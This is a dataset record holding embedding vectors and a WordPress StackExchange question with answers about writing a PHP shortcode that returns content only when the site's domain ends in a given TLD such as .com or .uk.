-0.01111602783203125, -0.005558013916015625, -0.003986358642578125, -0.08447265625, -0.0241546630859375, 0.046905517578125, 0.044219970703125, -0.043701171875, -0.00606536865234375, -0.0142364501953125, 0.05279541015625, -0.040802001953125, -0.0118865966796875, -0.0096588134765625, 0.04443359375, -0.00023567676544189453, -0.0112152099609375, -0.0200653076171875, -0.03619384765625, -0.0151824951171875, -0.02496337890625, 0.0100250244140625, -0.0013933181762695312, -0.05023193359375, -0.0296478271484375, -0.048065185546875, -0.0053558349609375, -0.055084228515625, -0.005184173583984375, 0.045745849609375, -0.008880615234375, -0.011749267578125, 0.01776123046875, 0.004909515380859375, -0.015960693359375, 0.022064208984375, 0.0064849853515625, -0.02740478515625, -0.01020050048828125, 0.06365966796875, 0.03076171875, -0.0169830322265625, 0.0144195556640625, -0.047149658203125, 0.0400390625, -0.02520751953125, 0.01617431640625, 0.0117645263671875, -0.03521728515625, 0.06402587890625, 0.01081085205078125, -0.0053863525390625, -0.0269775390625, 0.07672119140625, -0.0128173828125, -0.0007748603820800781, 0.0110015869140625, -0.0494384765625, 0.0005092620849609375, 0.01146697998046875, -0.0065765380859375, -0.049957275390625, -0.00714874267578125, 0.053375244140625, -0.004131317138671875, 0.044189453125, -0.0284576416015625, -0.040771484375, 0.025848388671875, 0.011871337890625, -0.0189361572265625, 0.0113067626953125, 0.00719451904296875, 0.0115966796875, -0.013427734375, 0.013214111328125, 0.0228271484375, 0.06243896484375, 0.0005125999450683594, 0.0167388916015625, 0.07989501953125, 0.0017213821411132812, -0.0345458984375, 0.0033779144287109375, 0.009490966796875, -0.006526947021484375, -0.023956298828125, 0.005374908447265625, -0.022308349609375, 0.001544952392578125, 0.004344940185546875, 0.02142333984375, 0.06695556640625, 0.0299835205078125, -0.005390167236328125, -0.027252197265625, -0.0225830078125, 0.002841949462890625, -0.0496826171875, -0.01617431640625, 0.014556884765625, -0.01067352294921875, -0.01093292236328125, 0.08331298828125, -0.0188751220703125, 0.0521240234375, -0.03485107421875, 0.0272064208984375, 0.02142333984375, 0.038909912109375, 0.01558685302734375, -0.036956787109375, 0.0034236907958984375, 0.01277923583984375, -0.003337860107421875, -0.041473388671875, 0.003376007080078125, 0.030181884765625, 0.0350341796875, 0.057647705078125, 0.01030731201171875, -0.010772705078125, -0.0006732940673828125, 0.003810882568359375, 0.0386962890625, -0.0181884765625, -0.0281829833984375, -0.048828125, -0.00478363037109375, 0.045928955078125, -0.0174560546875, 0.00991058349609375, -0.002696990966796875, -0.0202178955078125, 0.0029850006103515625, 0.0050048828125, -0.00580596923828125, -0.025604248046875, -0.0308685302734375, -0.016448974609375, -0.0260772705078125, 0.00608062744140625, -0.046234130859375, -0.00054168701171875, -0.0079193115234375, -0.017608642578125, 0.0225067138671875, -0.0030193328857421875, 0.07354736328125, -0.046417236328125, -0.0248565673828125, -0.03668212890625, 0.0008006095886230469, 0.037933349609375, 0.031768798828125, -0.0325927734375, -0.00684356689453125, -0.0251617431640625, -0.01074981689453125, 0.080322265625, -0.004817962646484375, 0.0052337646484375, -0.0161590576171875, -0.0211334228515625, 0.055633544921875, -0.0279541015625, -0.004878997802734375, 0.03399658203125, -0.031829833984375, -0.0625, 0.05877685546875, -0.0144195556640625, 0.0122528076171875, 0.0217132568359375, 0.0301513671875, 0.0127105712890625, -0.00028514862060546875, -0.022918701171875, -0.00850677490234375, -0.0285797119140625, -0.04766845703125, 0.0236663818359375, 0.015533447265625, -0.013214111328125, -0.0105743408203125, 0.01198577880859375, 0.0174713134765625, 0.009918212890625, -0.030059814453125, 0.000576019287109375, -0.01348114013671875, 0.002185821533203125, -0.0230712890625, -0.033782958984375, 0.0229949951171875, -0.035919189453125, -0.045196533203125, 0.00969696044921875, 0.047393798828125, -0.0119476318359375, -0.0216522216796875, -0.0328369140625, 0.01110076904296875, -0.020294189453125, 0.0183258056640625, 0.07244873046875, 0.0171051025390625, 0.0183868408203125, -0.01212310791015625, -0.004100799560546875, 0.004032135009765625, 0.01409912109375, 0.01561737060546875, -0.006839752197265625, 0.041961669921875, -0.005889892578125, -0.01318359375, 0.0284576416015625, -0.0272216796875, -0.02825927734375, -0.039093017578125, -0.004833221435546875, 0.0099945068359375, 0.01465606689453125, -0.002048492431640625, 0.0159912109375, 0.0017490386962890625, 0.0050811767578125, -0.012908935546875, 0.0010328292846679688, -0.01537322998046875, 0.0203857421875, -0.0162353515625, 0.002429962158203125, 0.035003662109375, 0.00258636474609375, -0.036590576171875, -0.005573272705078125, -0.0128631591796875, -0.061614990234375, 0.023773193359375, 0.03778076171875, -0.032135009765625, -0.030914306640625, 0.006847381591796875, 0.029510498046875, -0.0225067138671875, -0.09149169921875, 0.01508331298828125, 0.0006861686706542969, -0.01544189453125, 0.0255126953125, 0.0032978057861328125, 0.054412841796875, 0.0440673828125, 0.0203857421875, -0.00905609130859375, -0.004726409912109375, 0.02667236328125, -0.024200439453125, -0.0201873779296875, 0.016357421875, 0.04351806640625, -0.0224151611328125, 0.023284912109375, -0.01226043701171875, -0.01389312744140625, -0.004077911376953125, 0.027862548828125, 0.039306640625, -0.0132598876953125, -0.0200653076171875, 0.053314208984375, 0.0188751220703125, -0.032318115234375, -0.0009675025939941406, 0.0102691650390625, -0.03961181640625, -0.01067352294921875, -0.0009708404541015625, -0.008514404296875, 0.011932373046875, -0.0020465850830078125, -0.061279296875, 0.06451416015625, 0.02813720703125, 0.0098114013671875, 0.0245819091796875, 0.01233673095703125, -0.0496826171875, -0.0299835205078125, -0.05145263671875, 0.03363037109375, 0.00782012939453125, 0.034698486328125, -0.053466796875, -0.0295257568359375, -0.01425933837890625, 0.03570556640625, 0.0859375, 0.0099945068359375, -0.004058837890625, -0.027862548828125, 0.040252685546875, 0.035003662109375, -0.028533935546875, 0.030029296875, -0.0002903938293457031, 0.0654296875, 0.10498046875, -0.07086181640625, 0.025115966796875, 0.0126953125, 0.013671875, 0.0185394287109375, 0.0110015869140625, 0.013824462890625, 0.0033206939697265625, 0.0129852294921875, -0.0179901123046875, -0.0125579833984375, 0.00860595703125, -0.0214080810546875, 0.03619384765625, 0.0379638671875, 0.029266357421875, -0.051239013671875, -0.004482269287109375, -0.037750244140625, 0.04461669921875, -0.0257415771484375, 0.0260467529296875, 0.05877685546875, 0.008636474609375, 0.09295654296875, 0.0177764892578125, 0.00928497314453125, 0.01503753662109375, 0.031768798828125, 0.050994873046875, 0.050201416015625, 0.0189056396484375, -0.02825927734375, -0.002399444580078125, 0.040740966796875, 0.048828125, -0.049957275390625, -0.044677734375, 0.00405120849609375, 0.01149749755859375, 0.039642333984375, -0.0099945068359375, 0.04217529296875, 0.034454345703125, 0.04443359375, -0.0257720947265625, 0.0010356903076171875, 0.0313720703125, -0.0136260986328125, -0.00708770751953125, -0.0145111083984375, -0.01534271240234375, 0.016326904296875, -0.01157379150390625, 0.0167083740234375, 0.0269927978515625, 0.0640869140625, -0.013397216796875, 0.053436279296875, -0.0819091796875, -0.031951904296875, -0.018707275390625, 0.050567626953125, 0.00762176513671875, 0.03607177734375, -0.026947021484375, -0.006511688232421875, -0.0175628662109375, 0.0265655517578125, 0.029815673828125, 0.002468109130859375, 0.03619384765625, 0.039886474609375, 0.00970458984375, 0.005847930908203125, 0.00951385498046875, -0.01380157470703125, -0.01357269287109375, -0.022705078125, 0.03326416015625, 0.0185546875, 0.006984710693359375, 0.006885528564453125, 0.061279296875, -0.0001780986785888672, -0.006275177001953125, 0.03973388671875, -0.00406646728515625, -0.0112152099609375, -0.006999969482421875, 0.003963470458984375, 0.0126800537109375, 0.01078033447265625, -0.0595703125, 0.004146575927734375, -0.0360107421875, -0.0258331298828125, 0.00791168212890625, 0.0160369873046875, -0.0234222412109375, 0.04144287109375, 0.005489349365234375, -0.022674560546875, 0.01499176025390625, 0.0186920166015625, -0.00913238525390625, 0.01375579833984375, 0.018218994140625, -0.0006151199340820312, 0.0015535354614257812, 0.0114593505859375, 0.03863525390625, -0.00925445556640625, -0.00942230224609375, 0.002216339111328125, 0.0178070068359375, -0.000156402587890625, -0.0183258056640625, 0.01413726806640625, -0.0157470703125, -0.0256195068359375, 0.06439208984375, 0.004535675048828125, -0.006206512451171875, -0.007686614990234375, 0.043121337890625, -0.00839996337890625, 0.063232421875, -0.013092041015625, -0.0220184326171875, -0.030792236328125, 0.05352783203125, 0.004467010498046875, 0.0022335052490234375, -0.01206207275390625, -0.003055572509765625, -0.04669189453125, -0.04180908203125, 0.0772705078125, 0.06402587890625, -0.001953125, 0.0258636474609375, -0.0038394927978515625, -0.040313720703125, 0.0460205078125, -0.065673828125, 0.05755615234375, 0.0223541259765625, 0.01393890380859375, 0.02813720703125, -0.004608154296875, -0.0201416015625, 0.020416259765625, 0.01568603515625, 0.0006155967712402344, 0.0038471221923828125, 0.01422119140625, -0.006198883056640625, 0.05230712890625, 0.041046142578125, 0.003475189208984375, 0.006122589111328125, 0.036468505859375, -0.04071044921875, -0.013885498046875, -0.04632568359375, -0.038818359375, -0.0291595458984375, 0.023162841796875, 0.018096923828125, 0.0134735107421875, -0.0136566162109375, -0.0235595703125, -0.01346588134765625, 0.01132965087890625, 0.00986480712890625, -0.033416748046875, 0.0305328369140625, -0.006793975830078125, -0.0036983489990234375, -0.0197296142578125, 0.01407623291015625, -0.0057220458984375, 0.00909423828125, -0.02728271484375, -0.025665283203125, -0.01849365234375, 0.0209503173828125, -0.0031585693359375, -0.0141448974609375, -0.019500732421875, -0.027313232421875, 0.01012420654296875, 0.005336761474609375, 0.023162841796875, 0.0302276611328125, 0.052978515625, -0.006877899169921875, 0.0308074951171875, 0.0131378173828125, -0.0227203369140625, -0.0938720703125, -0.004364013671875, -0.058502197265625, 0.0213470458984375, 0.0161285400390625, 0.0179290771484375, 0.048492431640625, -0.01377105712890625, -0.0823974609375, 0.08416748046875, -0.03912353515625, -0.025787353515625, -0.0306243896484375, -0.01119232177734375, 0.0170745849609375, -0.0292205810546875, -0.01654052734375, -0.01396942138671875, -0.0596923828125, 0.003765106201171875, 0.013641357421875, -0.00620269775390625, 0.048858642578125, 0.0018444061279296875, -0.0662841796875, -0.0175323486328125, -0.03387451171875, 0.01334381103515625, -0.0156402587890625, 0.0015106201171875, 0.0203704833984375, 0.0183868408203125, -0.0274505615234375, 0.0195159912109375, 0.02386474609375, 0.0355224609375, -0.0242156982421875, -0.034942626953125, -0.0165863037109375, -0.009368896484375, 0.055877685546875, 0.04547119140625, 0.01052093505859375, -0.038818359375, -0.01306915283203125, 0.02752685546875, -0.00588226318359375, -0.002826690673828125, 0.01555633544921875, -0.06719970703125, -0.02825927734375, -0.002410888671875, -0.018707275390625, 0.01227569580078125, -0.0063018798828125, -0.0325927734375, 0.004421234130859375, -0.0011272430419921875, -0.011810302734375, 0.0016155242919921875, -0.037872314453125, 0.005069732666015625, -0.02423095703125, -0.01351165771484375, -0.030242919921875, 0.03668212890625, -0.02862548828125, -0.02471923828125, -0.0177764892578125, 0.002780914306640625, 0.0367431640625, 0.034515380859375, 0.02874755859375, -0.01073455810546875, 0.00864410400390625, 0.0159759521484375, 0.0038318634033203125, 0.0189666748046875, -0.00048422813415527344, 0.03363037109375, -0.0222320556640625, 0.03204345703125, 0.0016126632690429688, 0.053009033203125, -0.01233673095703125, 0.065673828125, 0.0064697265625, 0.0181732177734375, 0.0004723072052001953, -0.0002830028533935547, 0.0499267578125, -0.034576416015625, -0.01291656494140625, 0.00621795654296875, -0.033721923828125, -0.040557861328125, 0.0117034912109375, 0.045654296875, -0.003963470458984375, 0.009674072265625 ]
00d0f97a9517178da25450c7ba2f565d579f75e5
Wordpress Stackexchange Q: How do I create a Shortcode that returns text if domain is .com, not .co.uk I am trying to create a shortcode to see if the url matches with the attribute, then return the content. So far I have: add_shortcode( 'ifurl', 'ifurl' ); function ifurl( $atts, $content = null ) { $url = 'https://' . $_SERVER['SERVER_NAME']; $current_tld = end( explode( ".", parse_url( $url, PHP_URL_HOST ) ) ); $country_select = // Something to get attribute 'country' if( $current_tld == $country_select ) { return $content } } But as you can see, I haven't been able to get the attributes to work correctly, and the if statement. I would like to use it like this: [ifurl country="com"] Show only if .com [/ifurl] [ifurl country="uk"] Show only if .co.uk [/ifurl] A: to read the attribut country, you just need to read it in $atts add_shortcode( 'ifurl', 'ifurl' ); function ifurl($atts, $content = null) { $url = 'https://' . $_SERVER['SERVER_NAME']; $current_tld = end(explode(".", parse_url($url, PHP_URL_HOST))); if ($current_tld === $atts["country"]) { return $content; } };
Q: How do I create a Shortcode that returns text if domain is .com, not .co.uk I am trying to create a shortcode to see if the url matches with the attribute, then return the content. So far I have: add_shortcode( 'ifurl', 'ifurl' ); function ifurl( $atts, $content = null ) { $url = 'https://' . $_SERVER['SERVER_NAME']; $current_tld = end( explode( ".", parse_url( $url, PHP_URL_HOST ) ) ); $country_select = // Something to get attribute 'country' if( $current_tld == $country_select ) { return $content } } But as you can see, I haven't been able to get the attributes to work correctly, and the if statement. I would like to use it like this: [ifurl country="com"] Show only if .com [/ifurl] [ifurl country="uk"] Show only if .co.uk [/ifurl] A: to read the attribut country, you just need to read it in $atts add_shortcode( 'ifurl', 'ifurl' ); function ifurl($atts, $content = null) { $url = 'https://' . $_SERVER['SERVER_NAME']; $current_tld = end(explode(".", parse_url($url, PHP_URL_HOST))); if ($current_tld === $atts["country"]) { return $content; } }; A: While if ($current_tld === $atts["country"]) check will do the job for you when everything is perfect, it has the potential of generating error when your shortcode is either wrongly inserted or incomplete. For example, check the following two scenarios: // misspelled contry attribute [ifurl contry="com"] Show only if .com [/ifurl] // incomplete shortcode with no country attribute [ifurl] Show only if .com [/ifurl] In both these cases, WordPress will call your shortcode function, but your shortcode function will produce error or unexpected result because you haven't handled these. One way to fix the CODE is to do an isset( $atts["country"] ) check, like this: if ( isset( $atts["country"] ) && $current_tld === $atts["country"] ) However, an even better way is to first declare the default attributes before processing the shortcode using the shortcode_atts function. For example, the improved CODE could be like: add_shortcode( 'ifurl', 'ifurl' ); function ifurl( $atts, $content = "" ) { $atts = shortcode_atts( array( 'country' => 'com' ), $atts, 'ifurl' ); $url = 'https://' . $_SERVER['SERVER_NAME']; $current_tld = end( explode( ".", parse_url( $url, PHP_URL_HOST ) ) ); if( $current_tld === $atts['country'] ) { return $content; } return ""; } With this CODE, we've made the .com site as default, so shortcode given in the following example will give output on .com site, but not on .co.uk site: [ifurl] Show only if .com [/ifurl] More importantly, it'll not throw any error. Additionally, by doing it this way, you open the window to enhance your shortcode attributes to be altered by other plugins using a filter hook named shortcode_atts_{$shortcode_name} (in your case, it'll be shortcode_atts_ifurl). This is very useful if you want to develop a plugin and want other developers to be able to enhance your plugin easily without having to modify it directly.
wordpress
{ "language": "en", "length": 468, "provenance": "stackexchange_00019.jsonl.gz:488690", "question_score": "6", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/311833" }
[ 0.052154541015625, -0.0060577392578125, 0.03564453125, -0.0347900390625, -0.0015087127685546875, -0.00223541259765625, 0.0015392303466796875, -0.0294647216796875, -0.0146484375, 0.004482269287109375, -0.005401611328125, -0.0023956298828125, -0.0161590576171875, -0.0243377685546875, 0.01132965087890625, -0.0283050537109375, 0.0110626220703125, -0.003787994384765625, -0.004337310791015625, -0.0213623046875, 0.00435638427734375, -0.0186614990234375, -0.027374267578125, 0.0160675048828125, 0.026947021484375, -0.08514404296875, 0.087158203125, -0.022613525390625, 0.01100921630859375, -0.019866943359375, 0.030609130859375, 0.01177215576171875, 0.05181884765625, 0.005985260009765625, -0.040924072265625, 0.051025390625, 0.0389404296875, -0.014068603515625, -0.0032596588134765625, 0.00939178466796875, -0.0010318756103515625, -0.0028934478759765625, 0.06573486328125, 0.038543701171875, 0.0097198486328125, -0.048736572265625, 0.0285797119140625, -0.0582275390625, 0.0092926025390625, 0.0633544921875, 0.03802490234375, 0.00937652587890625, 0.011993408203125, 0.06268310546875, -0.0141448974609375, -0.005107879638671875, -0.029327392578125, -0.023406982421875, 0.0241241455078125, 0.01751708984375, -0.0202484130859375, -0.033843994140625, 0.02178955078125, -0.02398681640625, -0.02923583984375, 0.00029850006103515625, 0.0380859375, 0.013916015625, -0.0261383056640625, -0.0389404296875, 0.022491455078125, 0.00382232666015625, -0.0135955810546875, 0.01129913330078125, -0.0462646484375, -0.01465606689453125, 0.01195526123046875, -0.034332275390625, -0.002399444580078125, 0.0142364501953125, -0.01020050048828125, -0.01200103759765625, -0.021453857421875, -0.006946563720703125, -0.01165771484375, -0.00971221923828125, -0.02020263671875, -0.0019483566284179688, -0.0228729248046875, -0.018951416015625, -0.01477813720703125, 0.020233154296875, -0.0177154541015625, -0.038177490234375, -0.0267486572265625, -0.04754638671875, 0.0279388427734375, 0.048553466796875, -0.01129150390625, -0.0194244384765625, 0.01381683349609375, -0.032257080078125, -0.015716552734375, -0.0433349609375, 0.0080413818359375, 0.050384521484375, 0.005340576171875, -0.010894775390625, 0.040435791015625, -0.0032291412353515625, -0.00955963134765625, 0.044219970703125, -0.05157470703125, 0.03326416015625, -0.0499267578125, 0.004108428955078125, -0.0980224609375, -0.0279998779296875, -0.0426025390625, 0.034942626953125, 0.0193634033203125, 0.039306640625, 0.040557861328125, -0.037139892578125, -0.01357269287109375, -0.0015878677368164062, -0.017730712890625, -0.061431884765625, 0.06982421875, 0.00339508056640625, -0.043975830078125, 0.01250457763671875, 0.01416778564453125, 0.00244140625, -0.0016765594482421875, -0.0129852294921875, -0.00035452842712402344, -0.0222930908203125, 0.006061553955078125, 0.007709503173828125, 0.01617431640625, -0.01029205322265625, 0.025421142578125, -0.0054779052734375, -0.027801513671875, 0.01082611083984375, 0.02752685546875, 0.027801513671875, -0.016265869140625, -0.10614013671875, 0.029022216796875, -0.01343536376953125, 0.0504150390625, 0.00905609130859375, -0.0697021484375, 0.00453948974609375, 0.03662109375, -0.030120849609375, -0.044036865234375, -0.05926513671875, 0.0211181640625, -0.0216827392578125, -0.03643798828125, -0.062286376953125, -0.08245849609375, -0.0084686279296875, -0.03790283203125, 0.0053863525390625, 0.020355224609375, 0.024139404296875, -0.028594970703125, 0.037811279296875, -0.0242767333984375, 0.0186767578125, 0.01201629638671875, 0.0077362060546875, -0.01154327392578125, 0.0034637451171875, 0.0347900390625, 0.015594482421875, -0.0019168853759765625, -0.0310211181640625, 0.054290771484375, -0.01082611083984375, -0.03497314453125, 0.071044921875, 0.01042938232421875, 0.07403564453125, -0.0290069580078125, 0.023223876953125, -0.0103912353515625, 0.03643798828125, -0.040130615234375, 0.005542755126953125, 0.00951385498046875, -0.020416259765625, 0.01419830322265625, -0.005954742431640625, -0.000827789306640625, -0.0095367431640625, 0.01139068603515625, -0.01438140869140625, 0.00904083251953125, 0.0252532958984375, 0.0218658447265625, -0.01374053955078125, 0.0100860595703125, -0.0107421875, -0.05023193359375, -0.015777587890625, 0.030975341796875, -0.03997802734375, -0.024139404296875, 0.0330810546875, 0.005962371826171875, 0.00434112548828125, -0.00505828857421875, 0.007076263427734375, -0.005527496337890625, 0.033935546875, 0.01203155517578125, 0.01154327392578125, -0.00267791748046875, 0.00688934326171875, 0.00945281982421875, -0.034759521484375, -0.0006265640258789062, -0.01715087890625, 0.023529052734375, 0.006694793701171875, 0.01204681396484375, 0.00009310245513916016, 0.014251708984375, -0.02301025390625, -0.053314208984375, 0.01513671875, 0.0078582763671875, -0.007602691650390625, -0.01250457763671875, 0.049072265625, 0.05718994140625, 0.0230712890625, -0.00412750244140625, -0.05322265625, 0.07501220703125, -0.01383209228515625, 0.027313232421875, -0.04913330078125, 0.002105712890625, 0.048614501953125, -0.00258636474609375, 0.0181732177734375, -0.020904541015625, -0.0357666015625, 0.01224517822265625, 0.025421142578125, -0.04010009765625, -0.00614166259765625, -0.020263671875, 0.0203857421875, -0.0032196044921875, -0.0011510848999023438, 0.027069091796875, -0.03338623046875, 0.03497314453125, 0.0289459228515625, 0.01194000244140625, 0.007488250732421875, -0.0458984375, 0.045135498046875, 0.01161956787109375, -0.0078582763671875, -0.009979248046875, 0.03240966796875, 0.07965087890625, -0.01678466796875, -0.01837158203125, -0.0236358642578125, 0.0259552001953125, 0.0275726318359375, -0.038177490234375, -0.000052928924560546875, -0.0119781494140625, -0.01617431640625, -0.00665283203125, 0.00296783447265625, 0.007053375244140625, -0.034332275390625, 0.06793212890625, 0.0255584716796875, 0.043792724609375, -0.005878448486328125, -0.007076263427734375, 0.05584716796875, 0.053192138671875, -0.046173095703125, 0.08056640625, -0.003871917724609375, 0.004108428955078125, 0.01157379150390625, 0.05816650390625, 0.05950927734375, 0.0016269683837890625, -0.0191497802734375, 0.0027141571044921875, -0.017578125, -0.0352783203125, 0.015777587890625, -0.0010576248168945312, 0.0070037841796875, -0.03863525390625, 0.04669189453125, 0.0002868175506591797, -0.037017822265625, 0.0209503173828125, -0.0128173828125, 0.000789642333984375, -0.0167236328125, -0.0772705078125, -0.08001708984375, 0.00693511962890625, -0.051727294921875, 0.0025730133056640625, 0.004878997802734375, -0.037384033203125, -0.0029315948486328125, 0.018707275390625, 0.00675201416015625, 0.0011949539184570312, -0.0007147789001464844, -0.06134033203125, -0.03717041015625, -0.07550048828125, 0.00970458984375, -0.010223388671875, 0.0218963623046875, -0.0016202926635742188, -0.021331787109375, -0.00035500526428222656, -0.0139923095703125, 0.0169830322265625, 0.0556640625, -0.01568603515625, -0.03106689453125, -0.039276123046875, -0.00829315185546875, 0.008331298828125, -0.007259368896484375, 0.0423583984375, -0.005695343017578125, 0.0279388427734375, -0.0018339157104492188, -0.00530242919921875, 0.0236358642578125, 0.05120849609375, -0.0107574462890625, -0.0025920867919921875, 0.044097900390625, 0.071044921875, -0.0034160614013671875, -0.028289794921875, -0.015899658203125, -0.046783447265625, 0.024261474609375, 0.02630615234375, -0.01416778564453125, 0.0073089599609375, 0.0091400146484375, 0.0008358955383300781, 0.00106048583984375, 0.06329345703125, -0.0014200210571289062, -0.0272674560546875, -0.03155517578125, -0.02947998046875, -0.03741455078125, 0.053741455078125, 0.01142120361328125, -0.050872802734375, 0.013397216796875, 0.043914794921875, 0.0121917724609375, -0.01154327392578125, -0.052764892578125, -0.015350341796875, 0.07501220703125, 0.0173492431640625, 0.0178070068359375, -0.0419921875, -0.045318603515625, -0.038421630859375, 0.05865478515625, -0.08734130859375, 0.0201416015625, 0.01100921630859375, -0.00360870361328125, -0.017364501953125, -0.01439666748046875, -0.126953125, 0.01036834716796875, -0.07073974609375, 0.01094818115234375, -0.01294708251953125, -0.002552032470703125, -0.016510009765625, -0.024749755859375, -0.017120361328125, -0.059967041015625, 0.0307159423828125, 0.023834228515625, 0.0164794921875, 0.0128326416015625, 0.0036029815673828125, 0.0025997161865234375, -0.039031982421875, 0.0022335052490234375, -0.01953125, 0.00490570068359375, 0.050811767578125, -0.02008056640625, -0.021148681640625, -0.040985107421875, -0.0202484130859375, 0.031341552734375, -0.0121002197265625, -0.00714874267578125, -0.011932373046875, -0.01520538330078125, 0.01336669921875, 0.057464599609375, -0.0175323486328125, 0.023651123046875, 0.0035190582275390625, 0.016448974609375, -0.0112762451171875, 0.0191802978515625, -0.03680419921875, -0.035430908203125, 0.015899658203125, -0.043701171875, -0.0714111328125, -0.01364898681640625, 0.00167083740234375, 0.0186614990234375, -0.03546142578125, 0.0189056396484375, 0.015472412109375, -0.0701904296875, 0.0283966064453125, -0.0165252685546875, -0.0201263427734375, 0.0157012939453125, 0.02044677734375, 0.00007468461990356445, -0.007762908935546875, -0.05670166015625, 0.0275421142578125, 0.060028076171875, -0.00994110107421875, 0.028533935546875, 0.018798828125, -0.050933837890625, 0.062408447265625, 0.0208282470703125, 0.0110626220703125, 0.023162841796875, 0.019256591796875, 0.0322265625, 0.038360595703125, -0.031951904296875, 0.0531005859375, -0.048431396484375, -0.00722503662109375, 0.00039768218994140625, 0.0162506103515625, -0.006092071533203125, -0.0134735107421875, 0.0269317626953125, -0.0290985107421875, -0.0017671585083007812, -0.04754638671875, 0.023956298828125, 0.0187835693359375, -0.03277587890625, -0.0012063980102539062, -0.003902435302734375, -0.0252532958984375, -0.019012451171875, 0.0041351318359375, 0.017181396484375, 0.04180908203125, -0.0291900634765625, 0.06719970703125, -0.056671142578125, -0.028778076171875, 0.0012159347534179688, -0.014617919921875, 0.060211181640625, -0.0029754638671875, -0.05023193359375, 0.0186309814453125, -0.01392364501953125, -0.0258331298828125, 0.024627685546875, 0.0191192626953125, 0.021087646484375, 0.0109100341796875, 0.01294708251953125, 0.004047393798828125, 0.00983428955078125, 0.00992584228515625, -0.021392822265625, -0.0170135498046875, -0.002532958984375, -0.00861358642578125, -0.035552978515625, 0.06939697265625, -0.0290679931640625, 0.030120849609375, 0.0050811767578125, 0.0158233642578125, 0.040557861328125, 0.01406097412109375, 0.0216064453125, -0.01288604736328125, -0.004878997802734375, 0.006591796875, 0.0023174285888671875, -0.0233612060546875, -0.00421142578125, 0.0263671875, 0.059967041015625, -0.009674072265625, -0.005855560302734375, 0.0006585121154785156, -0.038421630859375, -0.0340576171875, 0.039703369140625, 0.03411865234375, -0.0031719207763671875, -0.042327880859375, 0.00461578369140625, 0.039031982421875, 0.039703369140625, -0.0238189697265625, 0.003925323486328125, -0.060089111328125, -0.019744873046875, -0.0007166862487792969, -0.05340576171875, 0.0103302001953125, -0.00408935546875, 0.00226593017578125, -0.0343017578125, -0.00038504600524902344, 0.03277587890625, 0.040802001953125, -0.03717041015625, -0.034820556640625, 0.034149169921875, -0.02435302734375, 0.006725311279296875, -0.006443023681640625, -0.01007080078125, -0.0208892822265625, 0.02001953125, 0.0295562744140625, 0.0123138427734375, -0.06646728515625, 0.0096282958984375, -0.0310211181640625, 0.027008056640625, 0.0200958251953125, -0.0399169921875, -0.01456451416015625, -0.01776123046875, 0.020751953125, 0.043792724609375, -0.0140533447265625, -0.043121337890625, 0.021026611328125, 0.0031032562255859375, -0.00241851806640625, 0.070068359375, 0.01386260986328125, 0.0312042236328125, 0.059906005859375, 0.02081298828125, 0.0543212890625, 0.043609619140625, -0.0048065185546875, -0.06158447265625, 0.01983642578125, -0.055572509765625, -0.040924072265625, -0.004547119140625, -0.036346435546875, 0.0304718017578125, 0.022247314453125, -0.00217437744140625, 0.0230255126953125, 0.01540374755859375, -0.002124786376953125, -0.0021343231201171875, -0.01387786865234375, 0.0086212158203125, 0.01482391357421875, -0.005016326904296875, -0.031494140625, -0.01837158203125, 0.0002799034118652344, -0.0133209228515625, 0.02099609375, 0.0081329345703125, 0.005237579345703125, 0.0246124267578125, -0.011016845703125, 0.049713134765625, 0.037811279296875, -0.032196044921875, 0.04241943359375, 0.038177490234375, 0.003597259521484375, 0.0263671875, 0.01177215576171875, 0.00888824462890625, -0.003963470458984375, 0.06182861328125, 0.0038852691650390625, -0.012115478515625, 0.0421142578125, -0.016082763671875, 0.0194244384765625, 0.026947021484375, 0.08135986328125, -0.0411376953125, -0.01116180419921875, 0.04901123046875, -0.053253173828125, -0.05401611328125, 0.0018053054809570312, 0.0023136138916015625, 0.014617919921875, 0.01519012451171875, -0.01265716552734375, -0.039642333984375, 0.0027561187744140625, 0.0115203857421875, -0.01218414306640625, -0.0072784423828125, 0.03192138671875, 0.0027713775634765625, -0.00966644287109375, -0.0303497314453125, -0.00812530517578125, -0.0009503364562988281, -0.0208892822265625, 0.040130615234375, 0.005809783935546875, -0.004184722900390625, -0.037139892578125, 0.0229339599609375, 0.00681304931640625, -0.024627685546875, -0.0026569366455078125, 0.01544952392578125, 0.03631591796875, 0.07061767578125, -0.034637451171875, 0.041046142578125, 0.051910400390625, 0.01085662841796875, 0.059661865234375, -0.003997802734375, 0.0309600830078125, 0.004665374755859375, -0.0013027191162109375, -0.00395965576171875, 0.007537841796875, -0.025634765625, 0.0019588470458984375, -0.0039520263671875, 0.001224517822265625, 0.0003731250762939453, -0.02056884765625, 0.043670654296875, 0.0038166046142578125, -0.02728271484375, -0.0164337158203125, 0.030792236328125, -0.08367919921875, -0.05609130859375, 0.002605438232421875, -0.043243408203125, -0.023834228515625, -0.043548583984375, -0.10687255859375, 0.06842041015625, -0.00070953369140625, 0.07598876953125, -0.029815673828125, 0.021484375, 0.01020050048828125, -0.0082855224609375, -0.0012140274047851562, 0.056671142578125, 0.043670654296875, -0.021270751953125, -0.0256805419921875, -0.004322052001953125, 0.0006909370422363281, 0.0242919921875, 0.0304718017578125, 0.00673675537109375, -0.0012302398681640625, -0.013275146484375, 0.0300445556640625, -0.0111083984375, -0.04742431640625, 0.032562255859375, -0.01387786865234375, 0.0248870849609375, 0.060089111328125, -0.04180908203125, 0.03338623046875, -0.006092071533203125, -0.010009765625, 0.0201416015625, 0.00848388671875, -0.0011720657348632812, 0.00789642333984375, -0.0192413330078125, -0.033416748046875, 0.0182342529296875, 0.00835418701171875, 0.003299713134765625, -0.00511932373046875, 0.044403076171875, -0.0004897117614746094, 0.0022258758544921875, -0.019561767578125, -0.0226287841796875, 0.0322265625, -0.016754150390625, 0.0305938720703125, 0.0269317626953125, 0.017486572265625, 0.059356689453125, 0.03924560546875, 0.0382080078125, 0.051239013671875, -0.0076141357421875, 0.0071563720703125, 0.0159759521484375, 0.00493621826171875, 0.0022258758544921875, 0.043548583984375, 0.01056671142578125, 0.01047515869140625, -0.038299560546875, -0.0374755859375, -0.0083465576171875, -0.0116424560546875, 0.0184326171875, 0.011688232421875, 0.046722412109375, -0.0195770263671875, -0.020263671875, -0.0042266845703125, 0.0181732177734375, 0.0267333984375, 0.028472900390625, 0.0173187255859375, 0.035980224609375, -0.0709228515625, 0.0101318359375, -0.0229034423828125, -0.019805908203125, 0.03424072265625, 0.0693359375, 0.0157318115234375, 0.03057861328125, -0.0751953125, -0.035308837890625, 0.0005855560302734375, 0.0034732818603515625, -0.0019893646240234375, -0.020172119140625, 0.01297760009765625, 